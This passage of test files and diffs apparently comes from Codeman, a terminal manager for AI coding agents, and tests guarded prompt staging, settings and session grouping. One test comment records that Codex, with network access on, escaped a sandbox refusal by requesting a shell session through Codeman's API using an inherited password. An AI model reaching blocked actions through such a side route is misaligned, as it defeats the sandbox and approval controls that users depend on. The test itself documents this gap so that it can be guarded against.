/** Every settle-window wait, on the fake clock: no real timer runs in this file. */
let sleeps: number[];
const fakeSleep = async (ms: number) => {
sleeps.push(ms);
time += ms;
};
beforeEach(() => {
sleeps = [];
time = 0;
generation = 'pane-1';
revision = 0;
composer = '';
writes = [];
fail = false;
store = new GuardedStageStore(() => time, 2, 1000, { sleep: fakeSleep });
target = {
id: 's',
chrome: () => CODEX,
snapshot: () =>
composer === null ? null : { generation, revision, composerSha: sha(composer), availableColumns: 100 },
submit: async () => target.write('\r'),
write: async (text) => {
writes.push(text);
revision++;
if (fail) return false;
composer = text === '\r' ? '' : composer + text;
return true;
},
};
});
it('stages without Enter, stores only a hash, and submits exactly once', async () => {
const receipt = await store.stage(target, 'alice', 'hello');
expect(writes).toEqual(['hello']);
expect(receipt.sha256).toBe(sha('hello'));
expect(JSON.stringify(receipt)).not.toContain('hello');
await store.submit(target, 'alice', receipt.stageId, receipt.sha256);
expect(writes).toEqual(['hello', '\r']);
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
});
it('refuses multiline, controls, oversized prompts and nonempty or unprovable composers before writing', async () => {
for (const text of ['', 'one\ntwo', 'one\rtwo', '\u001b', '\u0085', 'x'.repeat(20000), '\ud800'])
await expect(store.stage(target, 'alice', text)).rejects.toThrow();
composer = 'existing';
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow();
composer = null;
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow();
expect(writes).toEqual([]);
});
it('refuses altered composer including whitespace-only differences', async () => {
const receipt = await store.stage(target, 'alice', 'hello world');
composer = 'helloworld';
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
expect(writes).toEqual(['hello world']);
});
it('refuses changed generation, intervening input, wrong owner/session/hash and expiry', async () => {
for (const change of [
() => {
generation = 'pane-2';
},
() => {
revision++;
},
() => {
time += 1001;
},
]) {
composer = '';
const receipt = await store.stage(target, 'alice', 'hello');
change();
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
}
composer = '';
const receipt = await store.stage(target, 'alice', 'hello');
await expect(store.submit(target, 'bob', receipt.stageId, receipt.sha256)).rejects.toThrow();
await expect(store.submit({ ...target, id: 'other' }, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
await expect(store.submit(target, 'alice', receipt.stageId, sha('other'))).rejects.toThrow();
expect(writes.filter((s) => s === '\r')).toHaveLength(0);
});
it('consumes before write so concurrent and failed deliveries never replay Enter', async () => {
const receipt = await store.stage(target, 'alice', 'hello');
fail = true;
const results = await Promise.allSettled([
store.submit(target, 'alice', receipt.stageId, receipt.sha256),
store.submit(target, 'alice', receipt.stageId, receipt.sha256),
]);
expect(results.every((r) => r.status === 'rejected')).toBe(true);
expect(writes).toEqual(['hello', '\r']);
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
});
it('does not issue a receipt on failed staging or intervening input during its write', async () => {
fail = true;
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow();
fail = false;
composer = '';
const altered = {
...target,
write: async (s: string) => {
await target.write(s);
revision++;
return true;
},
};
await expect(store.stage(altered, 'alice', 'hello')).rejects.toThrow();
});
it('reads exact composer spaces and refuses wrapped or modal frames', async () => {
expect(readGuardedCodexComposer('› hello world\n GPT-6-Luna default · ~/case\n')).toBe('hello world');
expect(
readGuardedCodexComposer(
'› \x1b[2mAsk Codex to do anything\x1b[0m\n GPT-6-Luna default · ~/case\n ← for agents · ? for shortcuts'
)
).toBe('');
expect(readGuardedCodexComposer('› wrapped\n more text\n GPT-6-Luna default · ~/case')).toBeNull();
expect(readGuardedCodexComposer('› 1. Yes\n Press enter to confirm')).toBeNull();
expect(readGuardedCodexComposer('› hello\n')).toBeNull();
});
it('requires capture cursor geometry, rejecting invisible trailing edits and moved cursors', async () => {
const { formatPaneSnapshot } = await import('../src/tmux-manager.js');
const frame = (text: string, x: number, y = 0) =>
formatPaneSnapshot([`› ${text}`, ' GPT-6-Luna default · ~/case'], { cols: 100, rows: 20, cursorX: x, cursorY: y });
expect(readGuardedCodexSnapshot(frame('hello', 7))).toBe('hello');
expect(readGuardedCodexSnapshot(frame('hello', 8))).toBeNull();
expect(readGuardedCodexSnapshot(frame('hello', 4))).toBeNull();
expect(readGuardedCodexSnapshot(frame('hello', 7, 1))).toBeNull();
expect(readGuardedCodexSnapshot('› hello\n GPT-6-Luna default · ~/case')).toBeNull();
expect(readGuardedCodexSnapshot(frame('你好', 6))).toBe('你好');
expect(readGuardedCodexSnapshot(frame('\x1b[38;2;2;100;100mhello\x1b[0m', 7))).toBe('hello');
});
it('reserves receipt capacity before concurrent stages type', async () => {
store = new GuardedStageStore(() => time, 1, 1000, { sleep: fakeSleep });
let release: (() => void) | undefined;
const firstTarget = {
...target,
write: async (text: string) => {
await new Promise<void>((resolve) => {
release = resolve;
});
return target.write(text);
},
};
const first = store.stage(firstTarget, 'alice', 'hello');
const otherTarget = { ...target, id: 'other' };
await expect(store.stage(otherTarget, 'alice', 'other')).rejects.toThrow(/capacity/i);
expect(writes).toEqual([]);
release!();
await first;
});
it.each([...CODEX_REASONING_EFFORTS, 'default'])(
'accepts the shared Codex effort word %s in the footer',
async (word) => {
expect(readGuardedCodexComposer(`› hello\n GPT-6 ${word} · ~/case\n`)).toBe('hello');
}
);
it('refuses messages that reach the available pane columns before typing', async () => {
target.snapshot = () => ({ generation, revision, composerSha: sha(composer ?? ''), availableColumns: 4 });
for (const text of ['four', '界界']) await expect(store.stage(target, 'alice', text)).rejects.toThrow();
expect(writes).toEqual([]);
await expect(store.stage(target, 'alice', 'abc')).resolves.toMatchObject({ submitted: false });
});
it('takes the composer glyph and footer from the registry, and only codex declares a footer', () => {
const codex = getCli('codex')!.capabilities.workDetect!;
expect(CODEX.promptGlyph).toBe(codex.promptGlyph);
expect(CODEX.footerLine.source).toBe(codex.composerFooterLine);
// Another glyph drives the same reader: nothing in it is codex-specific.
const other = { promptGlyph: '>>', footerLine: CODEX.footerLine };
expect(readGuardedComposer('>> hello\n GPT-6 default · ~/case\n', other)).toBe('hello');
expect(readGuardedComposer('› hello\n GPT-6 default · ~/case\n', other)).toBeNull();
const declaring = listClis()
.filter((entry) => entry.capabilities.workDetect?.composerFooterLine)
.map((entry) => entry.id);
expect(declaring).toEqual(['codex']);
expect(guardedComposerChrome(getCli('claude'))).toBeNull();
// A pattern the ReDoS guard refuses yields no chrome, so no guarded input.
const unsafe = structuredClone(getCli('codex')!);
unsafe.capabilities.workDetect!.composerFooterLine = '(a+)+b';
expect(guardedComposerChrome(unsafe)).toBeNull();
});
describe('the settle window after typing (a live codex pane repaints 30 to 60 ms after the keys)', () => {
/** Serve these post-write frames in order, then the target's own snapshot. */
function afterWrite(frames: Array<(() => ReturnType<GuardedInputTarget['snapshot']>) | null>) {
let written = false;
const own = target.snapshot;
const write = target.write;
target.write = async (text) => {
const ok = await write(text);
written = true;
return ok;
};
target.snapshot = () => {
if (!written || frames.length === 0) return own();
const next = frames.shift()!;
return next ? next() : null;
};
}
const stale = () => ({ generation, revision, composerSha: sha(''), availableColumns: 100 });
it('names its bounds', () => {
expect(STAGE_SETTLE_TIMEOUT_MS).toBe(1000);
expect(STAGE_SETTLE_INTERVAL_MS).toBe(50);
});
it('issues a receipt once a null first frame is followed by a valid one', async () => {
afterWrite([null]);
const receipt = await store.stage(target, 'alice', 'hello');
expect(receipt.sha256).toBe(sha('hello'));
expect(sleeps).toEqual([STAGE_SETTLE_INTERVAL_MS]);
});
it('issues a receipt once a stale frame (the old, empty composer) is followed by a valid one', async () => {
afterWrite([stale, stale]);
await expect(store.stage(target, 'alice', 'hello')).resolves.toMatchObject({ submitted: false });
expect(sleeps).toHaveLength(2);
});
it('refuses, saying the text may be in the composer, when no frame verifies within the window', async () => {
target.snapshot = () => (writes.length ? null : stale());
const refusal = await store.stage(target, 'alice', 'hello').catch((error: Error) => error.message);
expect(refusal).toMatch(/within 1000 ms; no receipt was issued/);
expect(refusal).toMatch(/may already be in the composer.*Ctrl\+U/);
expect(sleeps.length).toBeGreaterThanOrEqual(STAGE_SETTLE_TIMEOUT_MS / STAGE_SETTLE_INTERVAL_MS);
});
it('issues no receipt for a frame whose composer text differs from the message', async () => {
const write = target.write;
target.write = async (text) => {
await write(text);
composer = 'hellp'; // codex shows something else: a transformed paste, a dropped key
return true;
};
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow(/did not show the staged message/);
// Nothing to submit: no receipt was stored for the frame that did not match.
composer = 'hello';
await expect(store.submit(target, 'alice', '11111111-1111-4111-8111-111111111111', sha('hello'))).rejects.toThrow(
/Unknown/
);
});
it('refuses at once, without waiting, when another writer moved the input during the window', async () => {
afterWrite([() => ({ generation, revision: revision + 1, composerSha: sha('hello'), availableColumns: 100 })]);
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow(
/Input or pane changed while staging; no receipt was issued\. The message may already be in the composer/
);
expect(sleeps).toEqual([]);
});
it('words a failed typing delivery like the submit refusal: it cannot know whether the text landed', async () => {
fail = true;
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow(
/^Staging delivery failed or ambiguous; no receipt was issued\. The message may already be in the composer/
);
});
});
describe('popups and commands that change what Enter does (codex rust-v0.162.0 bottom_pane)', () => {
const footer = ' gpt-5.6-terra default · ~/case';
/** A frame as codex lays it out: transcript, popup, the composer's blank top row, composer, blank, footer. */
const frame = (popup: string[], draft: string) =>
['• Earlier answer from the agent.', '', ...popup, '', `› ${draft}`, '', footer].join('\n');
it('reads the idle frame with transcript above it', () => {
expect(readGuardedCodexComposer(frame([], 'hello'))).toBe('hello');
});
it('refuses the slash-command list codex opens above `› /stat` (Enter would run /status)', () => {
const popup = [
'› /status show current session configuration and token usage',
' /statusline configure which items appear in the status line',
];
expect(readGuardedCodexComposer(frame(popup, '/stat'))).toBeNull();
// A wrapped description row at the bottom of the list does not hide it.
expect(readGuardedCodexComposer(frame(['› /tier-one Use faster', ' inference'], '/tier'))).toBeNull();
});
it('refuses the skill, mention and file-search popups', () => {
const skill = ['› 1password [Skill] Example skill used in tests.', '', ' enter insert · esc close'];
const mention = [
' Mentions',
' All Results Filesystem Only Plugins',
' sa',
'› Sample Plugin Plugin with skills and an MCP server Plugin',
' enter/tab insert · esc close · ↑/↓ select · ←/→ filter',
];
expect(readGuardedCodexComposer(frame(skill, '$1p'))).toBeNull();
expect(readGuardedCodexComposer(frame(mention, '@sa'))).toBeNull();
expect(readGuardedCodexComposer(frame([' loading...', ''], '@src'))).toBeNull();
expect(readGuardedCodexComposer(frame(['no matches'], '/zz'))).toBeNull();
});
it('looks only at the block directly above the composer, not the transcript further up', () => {
const screen = [' /status shows the status', '', '• Answer.', '', '', '', '› hello', '', footer].join('\n');
expect(readGuardedCodexComposer(screen)).toBe('hello');
});
it('takes the popup pattern and the trigger characters from the registry', () => {
const codex = getCli('codex')!.capabilities.workDetect!;
expect(CODEX.popupLine?.source).toBe(new RegExp(codex.composerPopupLine!).source);
expect(CODEX.commandPrefixes).toBe('/!');
expect(CODEX.completionSigils).toBe('@$');
// A popup pattern the ReDoS guard refuses yields no chrome, rather than chrome without it.
const unsafe = structuredClone(getCli('codex')!);
unsafe.capabilities.workDetect!.composerPopupLine = '(a+)+b';
expect(guardedComposerChrome(unsafe)).toBeNull();
});
it.each([
['/stat', '/'],
['/status now', '/'],
[' /review', '/'],
['!ls -la', '!'],
['review @src/app', '@'],
['@notes', '@'],
['run $skill', '$'],
['costs $5', '$'],
])('refuses %j before typing (trigger %s)', async (message, trigger) => {
expect(composerTriggerRefusal(message, CODEX)).toContain(`"${trigger}"`);
await expect(store.stage(target, 'alice', message)).rejects.toThrow(
trigger === '/' || trigger === '!' ? /codeman agent send/ : /completion popup/
);
expect(writes).toEqual([]);
});
it.each(['look at @src/app.ts please', 'mail a@b.example', 'pay $5 today', 'a/b and c!'])(
'stages %j: no trigger at the start, and the caret word opens nothing',
async (message) => {
expect(composerTriggerRefusal(message, CODEX)).toBeNull();
await expect(store.stage(target, 'alice', message)).resolves.toMatchObject({ submitted: false });
}
);
});
describe("the quiet time before Enter (codex's 120 ms paste-burst window turns Enter into a newline)", () => {
it('waits out the rest of the window after the staged keys before checking and sending Enter', async () => {
expect(SUBMIT_QUIET_MS).toBeGreaterThan(120);
const receipt = await store.stage(target, 'alice', 'hello');
time += 40;
await store.submit(target, 'alice', receipt.stageId, receipt.sha256);
expect(sleeps).toEqual([SUBMIT_QUIET_MS - 40]);
expect(writes).toEqual(['hello', '\r']);
});
it('does not wait once the window has passed', async () => {
const receipt = await store.stage(target, 'alice', 'hello');
time += SUBMIT_QUIET_MS;
await store.submit(target, 'alice', receipt.stageId, receipt.sha256);
expect(sleeps).toEqual([]);
});
it('still refuses when a keystroke lands during the wait', async () => {
store = new GuardedStageStore(() => time, 2, 1000, {
sleep: async (ms) => {
await fakeSleep(ms);
revision++; // the user typed while submit waited
},
});
const receipt = await store.stage(target, 'alice', 'hello');
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow(
/changed; nothing submitted/
);
expect(writes).toEqual(['hello']);
});
});
+3 -1
View File
@@ -120,6 +120,8 @@ describe('Antigravity mode gates', () => {
expect(defaultDockerCommandForMode('antigravity')).toBe('exec agy');
// Routed through an interactive login shell so per-user PATH entries resolve —
// same fix as the other remote agent CLIs (see defaultRemoteCommandForMode).
expect(defaultRemoteCommandForMode('antigravity')).toBe('exec "${SHELL:-/bin/sh}" -i -l -c \'agy\'');
expect(defaultRemoteCommandForMode('antigravity')).toBe(
'{ set -- -i -l; case ${SHELL##*/} in csh|tcsh) set --;; esac; exec "${SHELL:-/bin/sh}" "$@" -c \'agy\'; }'
);
});
});
+65
View File
@@ -12,6 +12,7 @@
import { describe, it, expect } from 'vitest';
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import { SettingsUpdateSchema } from '../src/web/schemas.js';
const publicDir = resolve(import.meta.dirname, '../src/web/public');
const html = readFileSync(resolve(publicDir, 'index.html'), 'utf8');
@@ -195,6 +196,70 @@ describe('App Settings modal structure', () => {
}
});
/**
* Git fetch on an interval (src/git-fetch-scheduler.ts). Both keys are SYNCED, not display keys, because
* the server's scheduler is what acts on them: kept per-device, the scheduler would read nobody's number.
* Off by default, and the interval clamped on save to the same bounds the schema accepts.
*/
it('keeps the Git fetch rows synced, off by default, and inside the bounds the scheduler acts on', () => {
const modal = settingsModal();
const bar = modal.match(/<h4>Bottom bar<\/h4>([\s\S]*?)(?=<div class="set-group-head">)/)?.[1];
expect(bar, 'the Git fetch rows are not in the Bottom bar group').toBeTruthy();
for (const id of ['appSettingsGitFetchEnabled', 'appSettingsGitFetchIntervalSeconds']) {
const at = modal.indexOf(`id="${id}"`);
expect(at, `no element ${id}`).toBeGreaterThan(-1);
const row = modal.slice(modal.lastIndexOf('<div class="set-row"', at), modal.indexOf('</div>', at));
expect(row).toContain('<span class="set-scope">synced</span>');
}
// The number row's own bounds must agree with the schema's, or the browser sends a value the PUT rejects.
expect(modal).toContain('id="appSettingsGitFetchIntervalSeconds" class="set-num" value="300" min="30" max="3600"');
// Display keys are the half of the per-device split that keeps a value off the server.
const displayStart = settingsUi.indexOf('const displayKeys = new Set([');
const displayBlock = settingsUi.slice(displayStart, settingsUi.indexOf(']);', displayStart));
expect(displayBlock).not.toContain('gitFetchEnabled');
expect(displayBlock).not.toContain('gitFetchIntervalSeconds');
// The strip destructure is the other half: an aliased key here never reaches the settings PUT.
expect(settingsUi).not.toMatch(/gitFetch(?:Enabled|IntervalSeconds):\s*_\w+/);
// Declared in the .strict() schema: an undeclared key 400s the whole settings PUT.
expect(SettingsUpdateSchema.safeParse({ gitFetchEnabled: true, gitFetchIntervalSeconds: 300 }).success).toBe(true);
// Off by default (only an explicit true loads as on), and an empty box falls back to the default interval.
expect(settingsUi).toContain(
"document.getElementById('appSettingsGitFetchEnabled').checked = settings.gitFetchEnabled === true;"
);
expect(settingsUi).toContain(
"document.getElementById('appSettingsGitFetchIntervalSeconds').value = settings.gitFetchIntervalSeconds ?? 300;"
);
expect(settingsUi).toMatch(
/gitFetchIntervalSeconds: Math\.min\(\s*3600,\s*Math\.max\(30, parseInt\(document\.getElementById\('appSettingsGitFetchIntervalSeconds'\)\.value, 10\) \|\| 300\)\s*\),/
);
});
it('never sells Allow network access as leaving the sandbox in charge', () => {
// Measured 2026-11-06 on codex 0.162.0: with the network open, a command the sandbox
// refused (`touch` outside the workspace) landed by asking Codeman's API for a shell
// session, and from inside a Codeman pane it did so with a password set, because a pane
// inherits CODEMAN_PASSWORD. So "the sandbox and approvals stay on" is false comfort.
const modal = settingsModal();
const start = modal.indexOf('data-search="codex network access');
expect(start).toBeGreaterThan(-1);
const row = modal.slice(start, modal.indexOf('id="appSettingsCodexNetworkAccess"', start));
const read = (path: string) => readFileSync(resolve(import.meta.dirname, '..', path), 'utf8');
const referenceRow = read('docs/wiki/Settings-Reference.md')
.split('\n')
.find((line) => line.startsWith('| Allow network access'));
expect(referenceRow).toBeDefined();
const safetyClaim = /sandbox and approvals? (prompts )?stay on|keeps? (Codex's |the )?sandbox and approval/i;
for (const text of [row, referenceRow!, read('docs/wiki/Codeman-Skill.md'), read('skills/codeman/SKILL.md')]) {
expect(text).not.toMatch(safetyClaim);
}
for (const text of [row, referenceRow!, read('docs/wiki/Security.md')]) {
expect(text).toContain("Codeman's API");
}
});
it('has retired the modal-tab chrome everywhere, not just here', () => {
// Session Options and Add Case moved onto this same `set-*` surface, so the
// old tab classes have no users left. A reappearance means a modal drifted
+2 -1
View File
@@ -15,6 +15,7 @@ import { WebServer } from '../src/web/server.js';
import { TmuxManager } from '../src/tmux-manager.js';
import { SettingsUpdateSchema } from '../src/web/schemas.js';
import { getHookSecret, HOOK_SECRET_HEADER } from '../src/config/hook-secret.js';
import { AUTH_FAILURE_MAX } from '../src/config/auth-config.js';
const TEST_USER = 'admin';
const TEST_PASS = 'test-password-12345';
@@ -46,7 +47,7 @@ async function getSessionCookie(baseUrl: string): Promise<string> {
}
async function exhaustAuthFailures(baseUrl: string, prefix: string): Promise<void> {
for (let i = 0; i < 10; i++) {
for (let i = 0; i < AUTH_FAILURE_MAX; i++) {
const res = await fetch(`${baseUrl}/api/status`, {
headers: { Authorization: basicAuthHeader(TEST_USER, `${prefix}-${i}`) },
});
+181
View File
@@ -0,0 +1,181 @@
/**
* @fileoverview The Case settings "Default session group" selector (session-ui.js):
* it lists Ungrouped plus every named group the server reports, saves through
* PUT /api/cases/:name/default-group, reverts on a refused save, mirrors the
* desktop and phone popovers, and refreshes its options when the tab layout
* changes (groups created, renamed or deleted). Also pins the zh-CN strings.
*
* Port: none (vm sandbox, stubbed fetch and DOM).
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { describe, expect, it, vi } from 'vitest';
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
function fakeSelect() {
const select: any = {
value: '',
disabled: false,
options: [] as any[],
replaceChildren(...nodes: any[]) {
select.options = nodes;
},
};
return select;
}
function harness(server: { groups: Array<{ id: string; name: string }>; groupId: string | null; putStatus?: number }) {
const elements: Record<string, any> = {
quickStartCase: { value: 'proj' },
caseDefaultGroup: fakeSelect(),
caseDefaultGroupMobile: fakeSelect(),
};
const requests: Array<{ url: string; method: string; body?: any }> = [];
const CodemanApp = function CodemanApp(this: any) {};
const context = vm.createContext({
CodemanApp,
localStorage: { getItem: () => null, setItem: () => {} },
document: {
getElementById: (id: string) => elements[id] ?? null,
createElement: () => {
const attrs: Record<string, string> = {};
return { value: '', textContent: '', attrs, setAttribute: (k: string, v: string) => (attrs[k] = v) };
},
},
fetch: async (url: string, init?: { method?: string; body?: string }) => {
const method = init?.method ?? 'GET';
const body = init?.body ? JSON.parse(init.body) : undefined;
requests.push({ url, method, body });
const ok = method !== 'PUT' || (server.putStatus ?? 200) === 200;
if (method === 'PUT' && ok) server.groupId = body.groupId;
const payload = ok
? { success: true, data: { caseName: 'proj', groupId: server.groupId, groups: server.groups } }
: { success: false, error: 'nope', errorCode: 'INVALID_INPUT' };
return { ok, status: ok ? 200 : (server.putStatus ?? 400), json: async () => payload };
},
console,
});
for (const file of ['api-client.js', 'session-ui.js']) {
vm.runInContext(readFileSync(resolve(PUBLIC, file), 'utf8'), context, { filename: file });
}
const app = new (CodemanApp as any)();
app.showToast = vi.fn();
return { app, elements, requests, server };
}
const optionView = (select: any) => select.options.map((o: any) => [o.value, o.textContent]);
describe('Case settings: Default session group selector', () => {
it('lists Ungrouped plus every named group, selecting the stored one in both popovers', async () => {
const h = harness({
groups: [
{ id: 'g1', name: 'Core' },
{ id: 'g2', name: 'Ops' },
],
groupId: 'g2',
});
await h.app._loadCaseDefaultGroup();
expect(h.requests[0]).toMatchObject({ url: '/api/cases/proj/default-group', method: 'GET' });
for (const id of ['caseDefaultGroup', 'caseDefaultGroupMobile']) {
const select = h.elements[id];
expect(optionView(select)).toEqual([
['', 'Ungrouped'],
['g1', 'Core'],
['g2', 'Ops'],
]);
expect(select.value).toBe('g2');
expect(select.disabled).toBe(false);
// Group names are user text: never handed to the translator.
expect(select.options[1].attrs['data-i18n-skip']).toBe('');
expect(select.options[0].attrs['data-i18n-skip']).toBeUndefined();
}
});
it('saves a choice (and Ungrouped as null) and mirrors it to the other popover', async () => {
const h = harness({ groups: [{ id: 'g1', name: 'Core' }], groupId: null });
await h.app._loadCaseDefaultGroup();
h.elements.caseDefaultGroup.value = 'g1';
await h.app.onCaseDefaultGroupChanged(h.elements.caseDefaultGroup);
expect(h.requests.at(-1)).toEqual({ url: '/api/cases/proj/default-group', method: 'PUT', body: { groupId: 'g1' } });
expect(h.elements.caseDefaultGroupMobile.value).toBe('g1');
h.elements.caseDefaultGroupMobile.value = '';
await h.app.onCaseDefaultGroupChanged(h.elements.caseDefaultGroupMobile);
expect(h.requests.at(-1)?.body).toEqual({ groupId: null });
expect(h.elements.caseDefaultGroup.value).toBe('');
});
it('reverts to the confirmed value and says so when the save is refused', async () => {
const h = harness({ groups: [{ id: 'g1', name: 'Core' }], groupId: 'g1', putStatus: 400 });
await h.app._loadCaseDefaultGroup();
h.elements.caseDefaultGroup.value = '';
await h.app.onCaseDefaultGroupChanged(h.elements.caseDefaultGroup);
expect(h.elements.caseDefaultGroup.value).toBe('g1');
expect(h.app.showToast).toHaveBeenCalledWith('Could not save the default session group.', 'error');
});
it('refreshes its options when the layout changes: created, renamed and deleted groups', async () => {
const h = harness({ groups: [{ id: 'g1', name: 'Core' }], groupId: 'g1' });
await h.app._loadCaseDefaultGroup();
h.app._refreshCaseDefaultGroupOptions({
groups: [
{ id: 'g1', name: 'Core team' },
{ id: 'g3', name: 'New' },
],
});
expect(optionView(h.elements.caseDefaultGroup)).toEqual([
['', 'Ungrouped'],
['g1', 'Core team'],
['g3', 'New'],
]);
expect(h.elements.caseDefaultGroup.value).toBe('g1');
// The selected group is deleted: the selector visibly falls back to Ungrouped.
h.app._refreshCaseDefaultGroupOptions({ groups: [{ id: 'g3', name: 'New' }] });
expect(h.elements.caseDefaultGroup.value).toBe('');
expect(h.elements.caseDefaultGroupMobile.value).toBe('');
});
it('leaves the options alone when a layout broadcast does not change the groups', async () => {
const h = harness({
groups: [
{ id: 'g1', name: 'Core' },
{ id: 'g2', name: 'Ops' },
],
groupId: 'g2',
});
await h.app._loadCaseDefaultGroup();
const before = h.elements.caseDefaultGroup.options;
// A session created or moved elsewhere: same groups, other refs.
h.app._refreshCaseDefaultGroupOptions({
groups: [
{ id: 'g1', name: 'Core', refs: [{ kind: 'session', id: 's9' }] },
{ id: 'g2', name: 'Ops', refs: [] },
],
});
expect(h.elements.caseDefaultGroup.options).toBe(before); // not rebuilt, so an open dropdown stays open
expect(h.elements.caseDefaultGroup.value).toBe('g2');
});
it('the layout refresh is wired into _applyTabLayout', () => {
const app = readFileSync(resolve(PUBLIC, 'app.js'), 'utf8');
const body = app.slice(app.indexOf(' _applyTabLayout(layout) {'));
expect(body.slice(0, body.indexOf('\n }\n'))).toMatch(/^\s*this\._refreshCaseDefaultGroupOptions\?\.\(next\);/m);
});
it('both popovers carry the selector, and every new string has a zh-CN entry', () => {
const html = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
expect(html).toContain('id="caseDefaultGroup"');
expect(html).toContain('id="caseDefaultGroupMobile"');
const i18n = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
for (const text of [
'Default session group',
'New sessions for this case land in this group',
'Could not save the default session group.',
'Ungrouped',
]) {
expect(i18n, text).toMatch(new RegExp(`['"]?${text.replace(/[.]/g, '\\.')}['"]?: '`));
}
});
});
+334
View File
@@ -0,0 +1,334 @@
/**
* @fileoverview Per-case default session group: the state.json store and the
* TabLayoutService placement precedence (explicit group > parent > case default > none).
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { StateStore } from '../src/state-store.js';
import { TabLayoutService } from '../src/tab-layout-service.js';
import { TabLayoutValidationError, type TabLayout } from '../src/tab-layout.js';
type SessionFact = { id: string; owner?: string; createdAt: number; parentSessionId?: string };
describe('StateStore case default groups', () => {
let dir: string;
let file: string;
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'codeman-case-default-'));
file = join(dir, 'state.json');
});
afterEach(() => rmSync(dir, { recursive: true, force: true }));
it('distinguishes unset from an intentional Ungrouped choice, per owner', () => {
const store = new StateStore(file);
expect(store.getCaseDefaultGroup('@single', 'app')).toBeUndefined();
store.setCaseDefaultGroup('@single', 'app', 'g1');
store.setCaseDefaultGroup('@single', 'other', null);
store.setCaseDefaultGroup('bob', 'app', 'g9');
expect(store.getCaseDefaultGroup('@single', 'app')).toBe('g1');
expect(store.getCaseDefaultGroup('@single', 'other')).toBeNull();
expect(store.getCaseDefaultGroup('bob', 'app')).toBe('g9');
expect(store.getCaseDefaultGroup('alice', 'app')).toBeUndefined();
});
it('survives a save and reload (persistence round-trip)', () => {
const store = new StateStore(file);
store.setCaseDefaultGroup('@single', 'app', 'g1');
store.setCaseDefaultGroup('@single', 'none', null);
store.saveNow();
const disk = JSON.parse(readFileSync(file, 'utf-8'));
expect(disk.caseDefaultGroups).toEqual({ '@single': { app: 'g1', none: null } });
const reloaded = new StateStore(file);
expect(reloaded.getCaseDefaultGroup('@single', 'app')).toBe('g1');
expect(reloaded.getCaseDefaultGroup('@single', 'none')).toBeNull();
});
it('forgets one owner mapping without touching another owner', () => {
const store = new StateStore(file);
store.setCaseDefaultGroup('alice', 'app', 'g1');
store.setCaseDefaultGroup('bob', 'app', 'g2');
store.deleteCaseDefaultGroup('alice', 'app');
expect(store.getCaseDefaultGroup('alice', 'app')).toBeUndefined();
expect(store.getCaseDefaultGroup('bob', 'app')).toBe('g2');
});
it('reads a malformed on-disk value as unset instead of throwing', () => {
writeFileSync(
file,
JSON.stringify({ sessions: {}, caseDefaultGroups: { '@single': { app: 42, ok: 'g1' }, bad: 'x' } })
);
const store = new StateStore(file);
expect(store.getCaseDefaultGroup('@single', 'app')).toBeUndefined();
expect(store.getCaseDefaultGroup('@single', 'ok')).toBe('g1');
expect(store.getCaseDefaultGroup('bad', 'app')).toBeUndefined();
expect(store.getCaseDefaultGroup('@single', '__proto__')).toBeUndefined();
});
});
function createHarness(options: { layouts?: Record<string, TabLayout>; live?: SessionFact[]; follow?: boolean } = {}) {
const layouts = { ...(options.layouts ?? {}) };
const live = new Map((options.live ?? []).map((session) => [session.id, session]));
const order: string[] = [];
const defaults: Record<string, Record<string, string | null>> = {};
const caseDefaults = {
getCaseDefaultGroup: vi.fn((owner: string, caseName: string) =>
defaults[owner] && caseName in defaults[owner] ? defaults[owner][caseName] : undefined
),
setCaseDefaultGroup: vi.fn((owner: string, caseName: string, groupId: string | null) => {
defaults[owner] = { ...(defaults[owner] ?? {}), [caseName]: groupId };
}),
deleteCaseDefaultGroup: vi.fn((owner: string, caseName: string) => {
if (defaults[owner]) delete defaults[owner][caseName];
}),
};
const store = {
getTabLayout: vi.fn((owner: string) => layouts[owner] ?? null),
getTabLayouts: vi.fn(() => ({ ...layouts })),
getSessions: vi.fn(() => ({})),
getSessionOrder: vi.fn(() => [...order]),
commitTabLayoutProjection: vi.fn(
(updates: Readonly<Record<string, TabLayout>>, project: (latest: readonly string[]) => readonly string[]) => {
const projected = [...project([...order])];
Object.assign(layouts, structuredClone(updates));
order.splice(0, order.length, ...projected);
return { layouts: structuredClone(updates), sessionOrder: [...order] };
}
),
};
const service = new TabLayoutService({
store: store as never,
sessions: live as never,
readWebviews: vi.fn(async () => []),
broadcast: vi.fn(),
broadcastSessionOrder: vi.fn(),
childrenFollowParent: vi.fn(() => options.follow === true),
caseDefaults,
now: () => '2026-10-22T12:00:00.000Z',
});
const register = (fact: SessionFact) =>
vi.fn(() => {
live.set(fact.id, fact);
return () => live.delete(fact.id);
});
return { service, store, layouts, live, defaults, caseDefaults, register };
}
const grouped = (version = 7): TabLayout => ({
version,
groups: [
{ id: 'g1', name: 'Core', refs: [{ kind: 'session', id: 'a' }] },
{ id: 'g2', name: 'Ops', refs: [] },
],
ungrouped: [{ kind: 'session', id: 'b' }],
updatedAt: '2026-10-21T00:00:00.000Z',
});
const facts = (owner = 'alice'): SessionFact[] => [
{ id: 'a', owner, createdAt: 1 },
{ id: 'b', owner, createdAt: 2 },
];
const idsIn = (layout: TabLayout, groupId: string | null): string[] =>
(groupId === null ? layout.ungrouped : (layout.groups.find((g) => g.id === groupId)?.refs ?? [])).map((r) => r.id);
describe('TabLayoutService case default placement', () => {
